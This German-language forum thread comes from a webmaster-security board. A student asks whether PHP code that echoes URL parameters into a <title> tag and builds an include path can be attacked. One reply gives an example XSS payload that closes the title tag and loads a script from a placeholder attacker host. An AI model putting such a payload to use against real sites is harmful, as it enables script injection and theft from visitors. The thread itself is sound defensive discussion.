| Webmaster-Security Fragen zur richtigen Serverkonfiguration oder Absicherung dynamischer Scripte gehören hier hinein. |
Diskussion: XSS im
![]() |
| | #1 (permalink) |
| Registriert seit: 24.01.07 ![]() Likes: 0 | Anzeige Hallo zusammen! Ich arbeite zur Zeit gerade an meiner Maturarbeit und muss jetzt mal noch den Sicherheitsaspekt beschreiben. Ich habe eine Website geschrieben, in der mit PHP unter anderem in einem <title>-Tag mit Parametern aus der URL der Inhalt generiert wird und an einer andren Stelle ein File included wird (ebenfalls mit URL Parametern). Abgesichert hab ichs schon, mit whitelists und file_exists bei der include Funkion. Aber ich Frage mich, ob im title-Tag überhaupt XSS möglich ist... oder an sonstigen Stellen im Header. Und was man mit einem "bösartigen" include File von einem andren Server alles anstellen könnte. (wenn das File die endung .php hätte würds ja schon vom fremden Server geparst...) Code: if(isset($_GET['tabs']) && in_array($_GET['tabs'], $whitelist)) $folder = $_GET['tabs'];
else $folder = "home";
if(isset($_GET['site']) && in_array($_GET['site'], $whitelist)) $call = $_GET['site'];
else $call = "home";
...... im header
<title>
<?php
echo "$folder"; if(isset($_GET['site'])) echo" > $call";
?>
</title>
.....
<div id="content" class="box">
<?php
if(file_exists("./content/$folder/$call.php")) {
include("./content/$folder/$call.php");
?>
</div> |
| | |
| | #2 (permalink) |
| Member of Honour ![]() | jepp, ich seh ne Möglichkeit. du lässt die Inhalte, die in der URL eingegeben werden, direkt im <title> ausgeben.... was, wenn ich folgendes mach: Code: url?site=</title><script type=text/javascript src=http://meine-url/boeser_code.js></script> |
| | |
| HaBOT | - Anzeige - |
| |
| | #3 (permalink) |
| Themenstarter Registriert seit: 24.01.07 ![]() Likes: 0 | stimmmt, javascript funktioniert ja auch im title danke! Trotzdem wäre ich sicher oder? Das in_array mit der whitelist sollte doch reichen? |
| | |
| | #4 (permalink) |
| Member of Honour ![]() | in Sachen RemoteFileInclusion schon. aber wie gesagt: in Sachen JavaScript-XSS definitiv NICHT. ich würde die Titel auch aus einem Array nehmen. z.B. ein assoziatives Array, wo $_GET["site"] der Key ist und der Seiten-Titel steht dann im Wert des Array-Elements |
| | |
| | #5 (permalink) |
| Themenstarter Registriert seit: 24.01.07 ![]() Likes: 0 | das versteh ich jetzt nicht, wie soll denn das gehn? Nehmen wir mal an, wir wollen dieses Javascript in die Ausgabe des Parsers bringen, dazu müsste es ja z.b. in die variable $folder geschrieben werden. Code: if(isset($_GET['tabs']) && in_array($_GET['tabs'], $whitelist)) $folder = $_GET['tabs']; else $folder = "home"; |
| | |
![]() |
| - Anzeige - | |
| |
| Themen-Optionen | |
| Ansicht | |
| |
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| XSS im | parkouma | (Web-) Design und webbasierte Sprachen | 3 | 12.11.07 23:49 |
| Wie bekomm ich ein Ascii zeichen in title | Aufsicht | (Web-) Design und webbasierte Sprachen | 5 | 19.01.04 21:36 |
| Kein Sound unter XP [title by boppy] | MoD | Windows | 6 | 15.11.03 14:07 |